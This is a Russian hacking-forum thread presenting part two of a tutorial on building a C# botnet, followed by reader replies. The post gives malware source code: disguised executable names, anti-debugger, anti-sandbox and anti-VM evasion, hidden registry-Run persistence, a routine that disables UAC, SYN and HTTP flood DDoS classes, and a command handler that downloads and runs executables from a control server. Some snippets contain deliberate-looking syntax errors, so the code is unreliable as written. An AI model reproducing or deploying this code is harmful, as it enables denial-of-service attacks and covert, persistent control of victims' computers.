1. Спонсор публикаций Marketplace codeby. Сервис, который так долго ждали. При расчетах используем биткоин. Первый товар уже в продаже: Консультация на тему ИБ от Ondrik8

    Скрыть объявление
  2. Спонсор публикаций Marketplace codeby. Сервис, который так долго ждали. При расчетах используем биткоин. Второй товар маркетплейса: Надёжная обфускация вашей программы от PingVinich

    Скрыть объявление

Создаем ботнет часть 2.

Тема в разделе "Этичный хакинг и тестирование на проникновение", создана пользователем SooLFaa, 4 янв 2017.

  1. SooLFaa

    SooLFaa Инквизитор
    Команда форума Grey Team

    Репутация:
    1
    Регистрация:
    15 июл 2016
    Сообщения:
    370
    Симпатии:
    588
    Часть 2

    Буэнас Диас Эль мучачас. Вы ждали, и Вы дождались. Наконец то вторая часть про ботнетик.

    В первой части мы создали каркас, я бы сказал заготовку, но она достаточно сырая, толком не рабочая. Сразу оговорюсь на счет того, что я не копирую свой код из рабочего продукта, а пишу новый, для того, чтобы не скомпрометировать свои исходники, а также для полного понимания.

    Далее отвечу на ряд вопросов:

    Очень много было вопросов касаемо модуля лока процесса.
    Процесс не лочится от привилегий админа и поэтому сегодня мы сделаем другую фитчю с ним.

    Так же частый вопрос про IFileManager и FileManager, почему если заменить одно другим, всё равно работает? И для чего тогда Интерфейс?!
    Объясняю....
    В C# любой объект наследующий свойства родителя, может быть представлен последним. Тоже касается и интерфейсов, но в отличии от класса Интерфейс(просто маска нашего класса, который надо реализовать), класс конкретная реализация.

    И что же нам дает запись
    Код (C):
    IFileManager _fileService = new FileManager()
    ?

    А то, что если мы захотим изменить нашу реализацию ботнета (например кроме веб морды, сделать админку в IRC канале или вообще начать заморачиваться с p2p), то мы не будем зависеть от реализации и сможем наплодить хоть сто нужных нам реализаций, не переписывая другие классы.

    Хватит разговоров к делу…….

    Что мы сделаем сегодня?
    • Сегодня мы отрефакторим наш код.
    • Добавим DDOS атаку;
    • Добавим шифрование (Stub);
    • Добавим Executor;
    • Добавим функционал посещения нужной нам страницы
    • Добавим функционал удаления.
    Приступим……

    Так как в первой части статьи мы рассмотрели основы основ, то теперь пришло время создать готовый клиент.
    Для начала взглянем на видоизмененную архитектуру проекта и теперь она выглядит так:
    Создаем ботнет часть 2.

    Как мы видим добавлены другие сервисы и разбита архитектура, впрочем, это пока картинка. Давайте же в ней разбираться.

    Рассмотрим основные компоненты Ботнета – это командный сервис, Persistence, Antiresearch, DDOS, Stub, Config.

    Класс конфига.
    Код (C):
    using Botnet.Services.Common;
    using System;
    using System.Diagnostics;
    using System.IO;
    using System.Text;

    namespace Botnet.Congif
    {
        public static class Config
        {
            private static Factory _factoryService = new Factory();
            private static string SplitSymbol = ";;;;";
            private static string CryptPW = "Codeby";
            public static bool AntiCain = true;
            public static bool AntiSandboxie = true;
            public static bool AntiDebugger = true;
            public static bool AntiEmulator = true;
            public static bool AntiFilemon = true;
            public static bool AntiNetstat = true;
            public static bool AntiNetworkmon = true;
            public static bool AntiProcessmon = true;
            public static bool AntiRegmon = true;
            public static bool AntiTCPView = true;
            public static bool AntiVirtualBox = true;
            public static bool AntiVMWare = true;
            public static bool AntiWireshark = true;
            public static bool DisableUAC = true;
            public static string[] FileName = new string[2] { "audiohd.exe", "svhost.exe" };
            public static string[] RegName = new string[2] { "Windows-Audio-Driver", "Microsoft SQL Server 2016" };
            public static string[] FilePath = new string[2];
            public static string ServerAddress = @"http://THISYOUURL/index.php";
            public static string Mutex = _factoryService.GenString(new Random().Next(8, 20));
            public static string BotVersion = "1.0";
            public static int ConnectionInterval = 10;
            public static int PersistentInterval = 30;
            public static string HWID = string.Empty;
            public static string WinVersion = string.Empty;
            public static string PCName = Environment.MachineName;
            public static bool AdminStatus = false;

            public static void LoadInfos()
            {
                const int LengthByte = 460;
                const int ByteReplaceTo = 0x20;

                string stub = String.Empty;
                using (StreamReader reader = new StreamReader(Process.GetCurrentProcess().MainModule.FileName.ToString()))
                {
                    stub = reader.ReadToEnd();
                }
                try
                {
                    stub = stub.Substring((stub.Length - LengthByte), LengthByte).Replace(Convert.ToChar(0x00), Convert.ToChar(ByteReplaceTo)).Trim();
                    byte[] bytesData = Convert.FromBase64String(stub);
                    Cryptography.RC4(ref bytesData, CryptPW);

                    string[] data = Encoding.Default.GetString(bytesData).Split(new string[] { SplitSymbol }, StringSplitOptions.None);

                    ServerAddress = data[1];
                    ConnectionInterval = int.Parse(data[2].Trim());
                    Mutex = data[4].Trim();
                }
                catch { Environment.Exit(0); }
            }
        }
    }
     
    В основном - это набор свойств, которые мы включаем/отключаем для ботнета, в том числе URL. Включаем антиотладочные модули, включаем персистенс, устанавливаем ключ для стаба Mutex. PersistenceInterval – параметр, который включает наш бот при антиотладке и устанавливает бот в автозагрузку.

    Модуль AntiReserch
    На самом деле, я обошелся без сложных WinApi функций, перехвата хуков и просто закрываю собственный билд, вот как раз для этого нам и нужен интервал для персистенса.

    Некоторые кодовые моменты:
    С помощью
    Код (C):
    _factoryService.CheckProcess("TCPVIEW")
    – ловим открытые процессы и если обнаруживаем их, то закрываем.
    Код (C):
    if (Debugger.IsAttached) { Terminate(); return; }
    – смотрим, не под отладчиком ли наша программа.
    Код (C):
    sModul.Contains("sbiedll.dll")
    – находим песочницу антивируса.
    А вот с помощью драйвера видео графики узнаем не под виртуалкой ли мы.

    Таким образом получаем примерно следующий код:
    Код (C):
        public class AntiResearch
        {
            Factory _factoryService = new Factory();
            SystemService _systemService = new SystemService();
            public void StartAntiResearch()
            {
                string graphicAdapter = _systemService.GetGraphicDevice();

                if (Config.AntiDebugger)
                {
                    try
                    {
                        if (Debugger.IsAttached) { Terminate(); return; }
                    }
                    catch { }
                }

                if (Config.AntiSandboxie)
                {
                    try
                    {
                        foreach (string sModul in Process.GetCurrentProcess().Modules)
                        {
                            if (sModul.Contains("sbiedll.dll")) { Terminate(); return; }
                        }
                    }
                    catch { }
                }

                if (Config.AntiEmulator)
                {
                    try
                    {
                        long lTicks = DateTime.Now.Ticks;
                        Thread.Sleep(10);
                        if ((DateTime.Now.Ticks - lTicks) < 10L) { Terminate(); return; }
                    }
                    catch { }
                }

                if (Config.AntiNetstat)
                {
                    try
                    {
                        if (_factoryService.CheckProcess("NETSTAT")) { Terminate(); return; }
                    }
                    catch { }
                }

                if (Config.AntiFilemon)
                {
                    try
                    {
                        if (_factoryService.CheckProcess("FILEMON")) { Terminate(); return; }
                    }
                    catch { }
                }

                if (Config.AntiProcessmon)
                {
                    try
                    {
                        if (_factoryService.CheckProcess("PROCMON")) { Terminate(); return; }
                    }
                    catch { }
                }

                if (Config.AntiRegmon)
                {
                    try
                    {
                        if (_factoryService.CheckProcess("REGMON")) { Terminate(); return; }
                    }
                    catch { }
                }

                if (Config.AntiNetworkmon)
                {
                    try
                    {
                        if (_factoryService.CheckProcess("NETMON")) { Terminate(); return; }
                    }
                    catch { }
                }

                if (Config.AntiTCPView)
                {
                    try
                    {
                        if (_factoryService.CheckProcess("TCPVIEW")) { Terminate(); return; }
                    }
                    catch { }
                }

                if (Config.AntiWireshark)
                {
                    try
                    {
                        if (_factoryService.CheckProcess("WIRESHARK")) { Terminate(); return; }
                    }
                    catch { }
                }

                if (Config.AntiVMWare)
                {
                    try
                    {
                        if (_systemService.GetGraphicDevice() == "VMware SVGA II") { Terminate(); return; }
                    }
                    catch { }
                }

                if (Config.AntiVirtualBox)
                {
                    try
                    {
                        if (graphicAdapter == "VirtualBox Graphics Adapter") { Terminate(); return; }
                    }
                    catch { }
                }
            }

            private void Terminate()
            {
                Environment.Exit(0);
            }
        }
     
    Напоминаю, что _systemService, _factoryService – наши собственные сервисы, реализацию которых я скрою от скрипткиди. Они очень не сложные там методы проверки на существование файла или процесса.

    Поговорим о стабах.

    Итак, чтобы байпассить антивирусы мы будем использовать криптографию через стабы. То есть использовать некоторый набор сигнатур с помощью которых будем шифровать билд алгоритмом RC4. Сам стаб представляет из себя отдельную DLL, которая подгружается в решение вместе ботнетом. Код стаба так же будет скрыт, но представляет из себя строку, зашифрованную в base64, и один метод который её возвращает. В строке хранятся уникальный шифр, номер бота, имя машины и сервер.

    Взглянем на код персистенса

    Код (C):
    public class Persistence
        {
            Factory _factoryService = new Factory();
            private Timer timer = new Timer();
            private string selfPath = Process.GetCurrentProcess().MainModule.FileName;

            public void StartPersistent()
            {
                timer.Interval = Config.PersistentInterval * 0x3e8;
                timer.Elapsed -= new ElapsedEventHandler(SetPersistence);
                timer.Start();
            }

            public void StopPersistent()
            {
                timer.Stop();
                timer.Dispose();
            }

            public void SetPersistence(object source, ElapsedEventArgs eArgs)
            {
                RegistryKey key;
                if (Config.AdminStatus)
                {
                    try
                    {
                        key = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);
                        setAutoRunRegistry(key, 0);
                    }
                    catch { }

                    try
                    {
                        key = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Miiicrosoft\Windows\CurrentVersion\Policies\Explorer\Run", true);
                        setAutoRunRegistry(key, 1);
                    }
                    catch { }
                }
                else
                {
                    try
                    {
                        key = Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Miiicrosoft\Windows\CurrentVersion\Run", true);
                        setAutoRunRegistry(key, 0);
                    }
                    catch { }

                    try
                    {
                        key = Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Miiicrosoft\Windows\CurrentVersion\Policies\Explorer\Run", true);
                        setAutoRunRegistry(key, 1);
                    }
                    catch { }
                }


                foreach (string path in Config.FilePath)
                {
                    try
                    {
                        if (!_factoryService.CheckFile(path))
                        {
                            File.Copy(selfPath, path);
                            File.SetAttributes(path, FileAttributes.Hidden);
                        }
                    }
                    catch { }
                }

            }

            /// <param name="index">Индекс номер имени массива из конфига RegMon</param>
            private void setAutoRunRegistry(RegistryKey key, byte index)
            {
                if (!key.Equals(Config.RegName[index])
                    || (key.Equals(Config.RegName[index])
                    && !key.GetValue(Config.RegName[index]).ToString().Contains(Config.FilePath[index]))
                )
                {
                    key.SetValue(Config.RegName[index], ('"' + Config.FilePath[index] + '"'));
                }
            }
        }
     
    Здесь особо ничего принципиально – нового, записываем в реестр наш билд и копируем его в другое место в скрытом виде.

    Метод первичной установки бота
    Я его уже описал выше, поэтому как это выглядит.....

    Код (C):
    private void InstallBot()
            {
                string selfPath = Process.GetCurrentProcess().MainModule.FileName;
                Process pProcess;

                if (Config.AdminStatus)
                {
                    Config.FilePath[0] = Environment.GetFolderPath(Environment.SpecialFolder.System) + @"\" + Config.FileName[0];
                    Config.FilePath[1] = Environment.GetFolderPath(Environment.SpecialFolder.CommonProgramFiles) + @"
    \" + Config.FileName[1];
                }
                else
                {
                    Config.FilePath[0] = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"
    \" + Config.FileName[0];
                    Config.FilePath[1] = Environment.GetEnvironmentVariable("
    TEMP") + @"\" + Config.FileName[1];
                }

                if (!checkInstall())
                {
                    try
                    {
                        foreach (string path in Config.FilePath)
                        {
                            if (!_factoryService.CheckFile(path))
                            {
                                File.Copy(selfPath, path);
                            }
                            File.SetAttributes(path, FileAttributes.Hidden);
                        }
                    }
                    catch { }

                    if (Config.AdminStatus)
                    {
                        try
                        {
                            Registry.LocalMachine.OpenSubKey(@"
    SOFTWARE\Miiicrosoft\Windows\CurrentVersion\Run", true).SetValue(Config.RegName[0], ('"' + Config.FilePath[0] + '"'));
                            Registry.LocalMachine.OpenSubKey(@"
    SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run", true).SetValue(Config.RegName[1], ('"' + Config.FilePath[1] + '"'));
                        }
                        catch { }
                    }
                    else
                    {
                        try
                        {
                            Registry.CurrentUser.OpenSubKey(@"
    SOFTWARE\Miiicrosoft\Windows\CurrentVersion\Run", true).SetValue(Config.RegName[0], ('"' + Config.FilePath[0] + '"'));
                            Registry.CurrentUser.OpenSubKey(@"
    SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run", true).SetValue(Config.RegName[1], ('"' + Config.FilePath[1] + '"'));
                        }
                        catch { }
                    }

                    try
                    {
                        yMutex.Close();

                        foreach (string sFile in Config.FilePath)
                        {
                            pProcess = new Process();
                            pProcess.StartInfo.FileName = sFile;
                            pProcess.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
                            pProcess.Start();
                        }
                    }
                    catch { }

                    Environment.Exit(0);
                }
            }
    Взглянем еще на один блок кода.

    ByPass Uac, отлично работает в Win8, суть в том, что на реестр может влиять локальный админ или с группы сервисов, практический всегда пользователь создается с этими правами.
    Код (C):
            private void DisableProcedures()
            {
                try
                {
                    Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced", true).SetValue("Hidden", "2", RegistryValueKind.DWord);
                }
                catch { }

                if (Config.DisableUAC)
                {
                    try
                    {
                        Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced", true).SetValue("EnableBalloonTips", "0", RegistryValueKind.DWord);
                    }
                    catch { }

                    try
                    {
                        Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", true).SetValue("EnableLUA", "0", RegistryValueKind.DWord);
                        Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", true).SetValue("EnableLUA", "0", RegistryValueKind.DWord);
                    }
                    catch { }
                }
            }
     
    SYN – Flood атака. Идея атаки в том, что мы посылаем огромное количество SYN пакетов, а так как SYN пакет необязательно должен быть завершен мы не ждем его завершения, таким образом заполняем пул подключений достаточно быстро.

    Код (C):
    public static class SYNFlood
        {
            private static Thread[] floodingThread;
            public static string Host;
            public static ushort Port;
            public static int ISSockets;
            public static int ThreadsCount;

            public static void StartSYNFlood()
            {
                IPEndPoint IPEo;

                try
                {
                    IPEo = new IPEndPoint(Dns.GetHostEntry(Host).AddressList[0], Port);
                }
                catch
                {
                    IPEo = new IPEndPoint(IPAddress.Parse(Host), Port);
                }

                floodingThread = new Thread[ThreadsCount];
                ThreadStart[] floodingJob = new ThreadStart[ThreadsCount];
                SYNRequest[] SYNClass = new SYNRequest[ThreadsCount];

                for (int i = 0; i < ThreadsCount; i++)
                {
                    SYNClass[i] = new SYNRequest(IPEo, ISSockets);
                    floodingJob[i] = new ThreadStart(SYNClass[i].Send);
                    floodingThread[i] = new Thread(floodingJob[i]);
                    floodingThread[i].Start();
                }
            }

            public static void StopSYNFlood()
            {
                for (int i = 0; i < ThreadsCount; i++)
                {
                    try
                    {
                        floodingThread[i].Abort();
                        floodingThread[i].Join();
                    }
                    catch { }
                }
            }

            private class SYNRequest
            {
                private IPEndPoint IPEo;
                private Socket[] pSocket;
                private int iSSockets;

                public SYNRequest(IPEndPoint tIPEo, int tSSockets)
                {
                    this.IPEo = tIPEo;
                    this.iSSockets = tSSockets;
                }

                private void OnConnect(IAsyncResult ar)
                {
                }

                public void Send()
                {
                    int iNum;
                    while (true)
                    {
                        try
                        {
                            pSocket == new Socket[iSSockets];

                            for (iNum = 0; iNum < iSSockets; iNum++)
                            {
                                pSocket[iNum] = new Socket(IPEo.AddressFamily, SocketType.Stream, ProtocolType.Tcp);
                                pSocket[iNum].Blocking = false;
                                AsyncCallback aCallback = new AsyncCallback(OnConnect);
                                pSocket[iNum].BeginConnect(IPEo, aCallback, pSocket[iNum]);
                            }

                            Thread.Sleep(100);

                            forr (iNum = 0; iNum <<< iSSockets; iNum++)
                            {
                                if (pSocket[iNum].Connected)
                                {
                                    pSocket[iNum].Disconnect(false);
                                }
                                pSocket[iNum].Close();
                                pSocket[iNum] = null;
                            }

                            pSocket = null;
                        }
                        catch
                        {
                            forr (iNum = 0; iNum < iSSockets; iNum++)
                            {
                                try
                                {
                                    if (pSocket[iNum].Connected)
                                    {
                                        pSocket[iNum].Disconnect(false);
                                    }
                                    pSocket[iNum].Close();
                                    pSocket[iNum] = null;
                                }
                                catch { }
                            }
                        }
                    }
                }
            }
        }
    }
     
    HTTP-флуд - это наиболее распространенная flood атака. Просто шлем огромное количество пакетов на определенный скрипт, желательно использовать грамотно и пулять на самый медленный скрипт.
    Код (C):
    using System.Net;
    using System.Threading;

    namespace Botnet.DDoS
    {
        internal static class HttpFlood
        {
            private static Thread[] floodingThread;
            public static string Host;
            public static int ThreadCount;
         
            public static void StartHTTPFlood()
            {
                floodingThread = new Thread[ThreadCount];
                ThreadStart[]] floodingJob = new ThreadStart[ThreadCount];
                HTTPRequest[]] requestClass = new HTTPRequest[ThreadCount];

                if (!Host.StartsWith("http://")) { Host = "http://" + Host; }

                for (int i = 0; i < ThreadCount; i++)
                {
                    requestClass[i] == new HTTPRequest(Host);
                    floodingJob[i] == new ThreadStart(requestClass[i].Send);
                    floodingThread[i] == new Thread(floodingJob[i]);
                    floodingThread[i].Start();
                }
            }

            public static void StopHTTPFlood()
            {
                for (int i = 0; i < ThreadCount; i++)
                {
                    try
                    {
                        floodingThread[i].Abort();
                        floodingThread[i].Join();
                    }
                    catch { }
                }
            }

            private class HTTPRequest
            {
                private WebClient wHTTP = new WebClient();

                public HTTPRequest(string tHost)
                {
                    this.sFHost = tHost;
                }

                public void Send()
                {
                    while (true)
                    {
                        try
                        {
                            wHTTP.DownloadString(sFHost);
                        }
                        catch
                        {
                            continue;
                        }
                    }
                }
            }
        }
    }
     
    ICMP – FLOOD
    Копирайт с википедии
    (с)ICMP-сообщение (эхо-запрос) обрабатывается сетевым оборудованием третьего (и выше) уровня. В большинстве случаев это оборудование использует программные средства маршрутизации и обработки пакетов. При этом эхо-запрос требует от устройства принятия пакета, его обработки и формирования/отправки пакета с ответом на запрос. (с)

    Аналогично UDP FLOOD

    Ну и осталось взглянуть на командный центр
    Код (C):
    using System;
    using System.Diagnostics;
    using System.Net;
    using Botnet.DDoS;
    using Botnet.Services.Common;
    using Botnet.Congif;
    using Botnet.Services.Manager;
    using System.IO;

    namespace Botnet.Services.Command
    {
        public class CommandService : ICommandService
        {
            Factory _factoryService = new Factory();
            Bot _botService = new Bot();
            public void ExecuteCommand(string command)
            {
                string[] data = new string[0];
                try
                {
                    data = command.Split(';');
                }
                catch { }

                switch (data[0])
                {
                    case "ddossyn":
                        try
                        {
                            SYNFlood.Host = data[1];
                            SYNFlood.Port = ushort.Parse(data[2]);
                            SYNFlood.ISSockets = int.Parse(data[3]);
                            SYNFlood.ThreadsCount = int.Parse(data[4]);
                            SYNFlood.StartSYNFlood();
                        }
                        catch { }
                        break;
                    .............................................................................
                    case "download":
                        try
                        {
                            WebClient client = new WebClient();
                            string tempName = _factoryService.GenString(new Random().Next(5, 12)) + ".exe";
                            string url = data[1];
                            if (!url.StartsWith("http://")) { url = "http://" + url; }
                            client.DownloadFile(url, Environment.GetEnvironmentVariable("TEMP") + @"\" + tempName);
                            Process process = new Process();
                            process.StartInfo.FileName = Environment.GetEnvironmentVariable("
    TEMP") + @"\" + tempName;
                            process.Start();
                        }
                        catch { }
                        break;
                    case "
    visit":
                        try
                        {
                            string sURL = data[1];
                            if (!sURL.StartsWith("
    http://")) { sURL = "http://" + sURL; }
                            GET(sURL);
                        }
                        catch (Exception e) {  }
                        break;
                    case "update":
                        try
                        {
                            string sURL = data[1];
                            if (!sURL.StartsWith("http://")) { sURL = "http://" + sURL; }
                            _botService.UpdateBot(sURL);
                        }
                        catch { }
                        break;
                    case "remove":
                        if ((data[1] == Config.PCName) || (data[1].ToUpper() == "ALL"))
                        {
                            _botService.RemoveBot();
                        }
                        break;
                    case "stop":
                        try { SYNFlood.StopSYNFlood(); } catch { }
                        try { HttpFlood.StopHTTPFlood(); } catch { }
                        try { UDPFlood.StopUDPFlood(); } catch { }
                        try { ICMPFlood.StopICMPFlood(); } catch { }
                        break;
                }
            }

            private string GET(string url)
            {
                HttpWebRequest req == (HttpWebRequest) WebRequest.Create(url);
                req.Method == "GET";
                req.ContentType == "application/x-www-form-urlencoded";
                WebResponse resp == req.GetResponse();
                string Out = "";
                using (Stream stream = resp.GetResponseStream())
                {
                    using (StreamReader sssr = new StreamReader(stream))
                    {
                        Out = sr.ReadToEnd();
                    }
                }
                return Out;
            }
        }
    }
     
    А вот так мы будем мониторить команду в отдельном потоке.
    Код (C):
    public void ConnectControl()
            {
                Thread recvThread == new Thread(new ThreadStart(getCCServerCommand));
                recvThread.Start();
            }

            private void getCCServerCommand()
            {
                while (true)
                {
                    try
                    {
                        string command = GetRequest(Config.ServerAddress);

                        if (command.Length >>> 0)
                        {
                            if (command !===== sOldCommand)
                            {
                                _commandService.ExecuteCommand(command);
                                sOldCommand = command;
                            }
                        }
                        else
                        {
                            _commandService.ExecuteCommand("stop");

                            sOldCommand = string.Empty;
                        }
                    }
                    catch { }

                    Thread.Sleep((int))))(Config.ConnectionInterval * 0x3e8));
                }
            }
     
    На этом техническая часть окончена. Рассмотрим практическую.
    Напишем на стороне сервера скрипт на php, который будет считать количество посещений.
    Для этого изменим наш скрипт на стороне клиента:
    PHP:
    echo 'visit;http://URL/CoDEbY.php';
    Теперь заглянем в файл Codeby.php

    PHP:
    <?php
      file_put_contents('res.txt', 'Было посещение');
     
    Таким образом бот получает команду пройти по нужной ссылке. В комбинации с CSRF с помощью этой фитчки можно творить великие вещи, но не об этом…..
    Разкоментим блок установки бота и посмотрим на процесс и в реестр.

    Изменим конфиг следующим образом для наглядности.
    Код (C):
    public static string[] FileName = new string[2] { "bot.exe", "bot2.exe" };
    public static string[] RegName = new string[2] { "THIS IS BOTNET", "THIS IS BOTNET2" };
     
    Итак после установки бот прописывается в автозагрузку БЕЗ прав админа.
    P.S. Да, я тоже люблю поиграть в CS.
    Создаем ботнет часть 2.

    Однако в процессах никак не светится, это достигнуто техникой, описанной в моей статье DLL Injection. Сорцы инжектора находятся отдельно от бота (так же под приватом от скрипт кидисов) и выходят за рамки этой статьи.

    Создаем ботнет часть 2.

    Напоследок скан Антивируса и видосик работы ботнета.
    Создаем ботнет часть 2.

    Скан здесь


    И в заключении видосик


     

    Вложения:

    kokorionk, xChe3, MerlinKoss и 32 другим нравится это.
  2. SooLFaa

    SooLFaa Инквизитор
    Команда форума Grey Team

    Репутация:
    1
    Регистрация:
    15 июл 2016
    Сообщения:
    370
    Симпатии:
    588
    Если статья зайдет то далее напишем админку.
     
    kokorionk, sk3l, i_bog_i и 8 другим нравится это.
  3. ghostphisher

    ghostphisher Well-Known Member
    Команда форума Grey Team

    Репутация:
    0
    Регистрация:
    7 дек 2016
    Сообщения:
    1.370
    Симпатии:
    1.186
    Тема огонь. Продолжай, админка очень кстати будет. ;) В целом сама тема ботов интересна с разворотом на локальной сети и контролем из вне.
     
    SooLFaa и BaJIepraH нравится это.
  4. SooLFaa

    SooLFaa Инквизитор
    Команда форума Grey Team

    Репутация:
    1
    Регистрация:
    15 июл 2016
    Сообщения:
    370
    Симпатии:
    588
    Так они все так работают. На локалке прячутся и стучатся в админку.
     
    ghostphisher нравится это.
  5. BaJIepraH

    BaJIepraH Well-Known Member

    Репутация:
    0
    Регистрация:
    25 дек 2016
    Сообщения:
    81
    Симпатии:
    30
    автору огромное спасибо за годный материал,кто знает когда б я так руки из опы вытащил,в плечи вставил и начал делом заниматься. одолеваю пока еще,100 вкладок мсдн и открытая книга Троелсена помогают мне в этом
     
    sk3l и SooLFaa нравится это.
  6. SooLFaa

    SooLFaa Инквизитор
    Команда форума Grey Team

    Репутация:
    1
    Регистрация:
    15 июл 2016
    Сообщения:
    370
    Симпатии:
    588
    По правде ботнет собирается на изи даже для тех кто шарп не знает.
     
  7. itcode

    itcode New Member

    Репутация:
    0
    Регистрация:
    8 янв 2017
    Сообщения:
    1
    Симпатии:
    0
    спасибо Вам большое за труд. С нетерпением жду продолжения...
     
  8. SooLFaa

    SooLFaa Инквизитор
    Команда форума Grey Team

    Репутация:
    1
    Регистрация:
    15 июл 2016
    Сообщения:
    370
    Симпатии:
    588
    Урааааааааааааа. Мне сделали расцветку адекатвную. Админы зе бест. Пойду хвалить админов.
     
    sk3l, BaJIepraH и killroy нравится это.
  9. viktorcruce

    viktorcruce Active Member

    Репутация:
    0
    Регистрация:
    19 дек 2016
    Сообщения:
    26
    Симпатии:
    3
    на питоне)
     
  10. tcya

    tcya New Member

    Репутация:
    0
    Регистрация:
    27 ноя 2016
    Сообщения:
    1
    Симпатии:
    1
    Очень благодарен за интересную и полезную для меня информацию и за Ваш труд.
     
    SooLFaa нравится это.
  11. MAdDog719

    MAdDog719 Well-Known Member
    Grey Team

    Репутация:
    0
    Регистрация:
    16 авг 2016
    Сообщения:
    110
    Симпатии:
    27
     
    SooLFaa и BaJIepraH нравится это.
  12. smashQ

    smashQ New Member

    Репутация:
    0
    Регистрация:
    11 дек 2016
    Сообщения:
    4
    Симпатии:
    0
    Тема super! Когда ждать продолжения?
     
  13. SooLFaa

    SooLFaa Инквизитор
    Команда форума Grey Team

    Репутация:
    1
    Регистрация:
    15 июл 2016
    Сообщения:
    370
    Симпатии:
    588
    Всем спасибо.
    Пока по ботнету временный небольшой перерыв, далее будем писать собственный фаззер. А ботнет продолжим в феврале - марте я думаю.
     
  14. Максим Сухенко

    Репутация:
    0
    Регистрация:
    25 янв 2017
    Сообщения:
    1
    Симпатии:
    0
    Чувак, можешь готовый кинуть? Лень собирать по деталям...
     
  15. SooLFaa

    SooLFaa Инквизитор
    Команда форума Grey Team

    Репутация:
    1
    Регистрация:
    15 июл 2016
    Сообщения:
    370
    Симпатии:
    588
    Неее, в этом и смысл. Что те кто смогут собрать молодцы. Те кто не смогут - скрипткидисы, и им рано такие штуки юзать.
     
    sk3l, BaJIepraH и WebWare Team нравится это.
  16. ЛераЧиркова

    Репутация:
    0
    Регистрация:
    17 фев 2017
    Сообщения:
    1
    Симпатии:
    0
    Блин какие вы все умные. Зря я на 3д моделЬера пошла, могла интерсептором ломать чужие компуктеры...
    Подскажите, если не сложно, книжки/статейки, которые понятным языком помогут освоить C# и тот скрипт, который написан выше.
    Просто мои знания заканчиваются на C++ решении задач повышенной сложности 11 класса, где нужно строчку обрезать и вывести helo vorld
     
  17. SooLFaa

    SooLFaa Инквизитор
    Команда форума Grey Team

    Репутация:
    1
    Регистрация:
    15 июл 2016
    Сообщения:
    370
    Симпатии:
    588
    По Шарпу Герберта Штилда более чем достаточно дял понимания того, что выше. А так это лишь пример. Данный код на плюсах пойдет даже лучше.
     
  18. LifeStream

    LifeStream Member

    Репутация:
    0
    Регистрация:
    24 янв 2017
    Сообщения:
    19
    Симпатии:
    4
    Давай админ панель на php + коннект через c# (отправка архива с логами + размер)
    Сделай такую схему :)

    Пишем админ панель, пишем билдер на c# (присваиваем скрипту что прописали в билде)
    Заливаем панель на хостинг ( пароль туды-сюды ) - распаковка (если собирать php скрипты в один файл)
    Коннект через c# с админ панелью, сбор данных (архивация) - (заливка файлов на Админку).

    Ну это если не лень будет)
     
    i_bog_i и BaJIepraH нравится это.
  19. SooLFaa

    SooLFaa Инквизитор
    Команда форума Grey Team

    Репутация:
    1
    Регистрация:
    15 июл 2016
    Сообщения:
    370
    Симпатии:
    588
    Это ж всё просто. Позже может быть
     
    sk3l и BaJIepraH нравится это.
  20. Boggy

    Boggy Member

    Репутация:
    0
    Регистрация:
    2 мар 2017
    Сообщения:
    17
    Симпатии:
    6
    Уважаемый Магистр)))без тени иронии,когда же все таки тема про ботнет двинется,я понимаю что погода этой весной выдалась и весна слилась с зимой,но февраль и март уже давно закончены,май уже к концу подходит,а продолжения все нет или я один тут такой грущу и жду продолжения?!))не сочтите за флуд!
     
    sk3l нравится это.
Загрузка...

Поделиться этой страницей